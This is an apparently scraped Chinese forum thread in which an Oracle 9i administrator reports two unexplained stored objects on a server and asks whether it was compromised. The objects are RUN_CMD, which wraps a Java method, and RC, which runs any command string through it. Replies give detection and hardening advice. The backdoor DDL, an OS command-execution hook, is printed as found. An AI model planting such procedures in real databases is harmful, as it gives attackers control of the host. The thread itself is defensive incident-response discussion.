我服务器上的oracle9i莫名其妙得多出了两个存储过程,是不是被入侵了其中多了一个functioncreate or replace function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';
一个procedures
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
服务器oracle是被人入侵了吗? 如何防范呢?
as
language java
name 'Util.RunThis(java.lang.String) return integer';
一个procedures
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
服务器oracle是被人入侵了吗? 如何防范呢?
解决方案 »
- 两个oracle小问题
- 三张表如何同步(高手请进)
- dbms_lob.substr函数截取长度问题,我的只能截取8191
- SQLLOAD LOG 一句话不解 value used for ROWS parameter changed from 64 to 41
- (讨论)主键的名字该如何定义才好?
- 哪裡有進行oracle 高級複製的工具, 非常感謝!!!
- 求一条SQL语句
- 我自己新建了一个表,为什么最多只能存1005条记录呢?再多存就存不进去了
- 请问哪些因素会影响.net oledb连接oracle数据库的稳定性呢?
- 求一条select语句,希望性能最优
- 如何停止正在运行的job
- oracle rman恢复(基于时间点和scn)问题
select * from dba_objects where object_name = 'RC'然后根据大致的时间,查一查你的listener.log大致时间前有没有外部ip连接的信息
07-11月-2009 00:20:41 * (CONNECT_DATA=(SID=ORA92I)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=))) * (ADDRESS=(PROTOCOL=tcp)(HOST=61.188.38.204)(PORT=2250)) * establish * ORA92I * 0这段期间不断有 61.188.38.204 ip 入侵有什么办法搞呢?
将该用户锁定
alter user XXX account lock;
如果确实这个ip是不是内部人使用的话可以通过配置sqlnet.ora来做全局的ip限制。或者是profile来限制某个用户, 记得不清楚了,你可以查看这两个方法。
记错了,刚才查了一下profile,好像没有控制。只能用sqlnet.ora来控制叻。
因为 开发的电脑上 pl/sql需要连接服务器上的数据库,所有就开放了服务器上面的oracle
这怎么看呢?我怀疑是dbsnmp 我当初没有修改原始密码